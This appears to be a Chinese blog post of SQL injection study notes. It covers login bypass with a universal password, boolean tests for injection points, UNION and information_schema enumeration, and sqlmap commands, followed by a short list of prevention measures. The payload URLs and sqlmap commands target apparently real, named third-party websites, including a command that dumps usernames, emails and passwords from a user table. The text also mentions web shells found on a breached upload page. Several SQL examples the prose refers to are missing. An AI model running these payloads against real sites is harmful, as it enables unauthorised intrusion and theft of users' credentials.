SQL注入学习笔记
折腾了一段时间的SQL注入,虽说还是不明觉厉的感觉,不过还是把学习过程中的一些随笔&经验发发吧。

关于数据库语句的安全性:
在创建数据库的时候,安全意识不高的程序猿可能想到的是用类似于这样的语句来验证用户名和密码:
或者也可以把密码改成’ or ‘1’=‘1 ,即
还有很多构造方法,就不一一列举了。不过现在的网站已经几乎不存在这种低级漏洞,在6、7年前这种方法貌似挺流行的。
好不容易找出了一个实例:

试一下万能密码:用户名 ‘or’=‘or’,密码随意。
进入后台的文件上传页面可以看到各种网马……

关于判断注入点:

再试试 and 1=1 和 and 1=2 ,可以看出这里很可能存在注入点。


为什么? 打开这个链接时,数据库中的语句可能是这样的:
而 and 1=1 和 and 1=2 可以判断数据库是否可以执行操作语句。
若可以执行 and 操作,那么因为 1=1 恒成立,所以返回是正常页面,1=2 恒不成立,所以会返回错误页面。
既然数据库既没有过滤非法字符,也没有限制操作语句的执行,我们几乎可以对数据库为所欲为。
那我们放在工具里跑一下……

关于手工盲注:
手工盲注难度有点大,适合的站也不太好找,这里转一下别人的经验:
http://henecia.jp/news/detail.php?nid=162 and 1=1
http://henecia.jp/news/detail.php?nid=162 and 1=2
http://henecia.jp/news/detail.php?nid=162 order by 5 正常
http://henecia.jp/news/detail.php?nid=162 order by 8 正常
http://henecia.jp/news/detail.php?nid=162%20order%20by%2010 错误
http://henecia.jp/news/detail.php?nid=162%20order%20by%209 正常 %20就是空格的十六进制表示,网页链接会自动把空格转换成%20。
一般采用二分法探测字段的长度,因为 order by 9 是最后一个正常页面,所以这里可以知道字段的长度是9。
接下来看显示位:
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。URL后面添加 and+1=2 显示有报错信息,URL后面添加 select+1,2,3,4,5,6,7,8,9 显示正常的网页,使用UNION操作符将后者的显示信息覆盖掉前面报错的信息,这样就能清楚看到显示位了。 可以看到 2,3 有显示,所以我们可以在 2,3 上做文章:
information_schema 数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。information_schema 数据库类似于“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema 是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。还用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。 查询当前数据库的所有表名:

最后介绍一下 SQL 注入的命令行神器—— SQLmap
SQLmap是用python写的开源的测试框架, 支持MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP,MAXDB。并支持6种SQL注入手段。
SQLmap 相比其他的一些图形化的注入工具速度更快, 而且更适合有经验的使用者自定义注入方式,提高成功率。
常用的一些命令:
还是那个学姐的网站为例:
-u “http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" –current-user –current-db 查看当前正在使用的数据库和其用户
-u “http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan –tables 查看chuxinyuan 数据库里的表
-u “http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan -T user –columns 查看user表里的列
-u “http://chuxinyuan.gotoip3.com/mao/image_detail.php?id=42" -D chuxinyuan -T user -C id,username,sex,email,password –dump 查看用户序号,用户名,性别,邮箱,密码,并保存


如果觉得麻烦,可以直接
关于怎么预防SQL注入:
2.限制动态SQL语句,过滤非法操作字符
3.避免从用户端直接获得数据
4.将数据库的权限信息单独存放在另外一个文件中
5.使用最小权限原则
6.使用预先准备好的(SQL)语句,即预编译
7.使用安全狗等WAF防护专业软件
参考资料:
MYSQL手工注入某日本网站
sqlmap用户手册 | WooYun知识库
sqlmap用户手册(续) | WooYun知识库
白帽子讲Web安全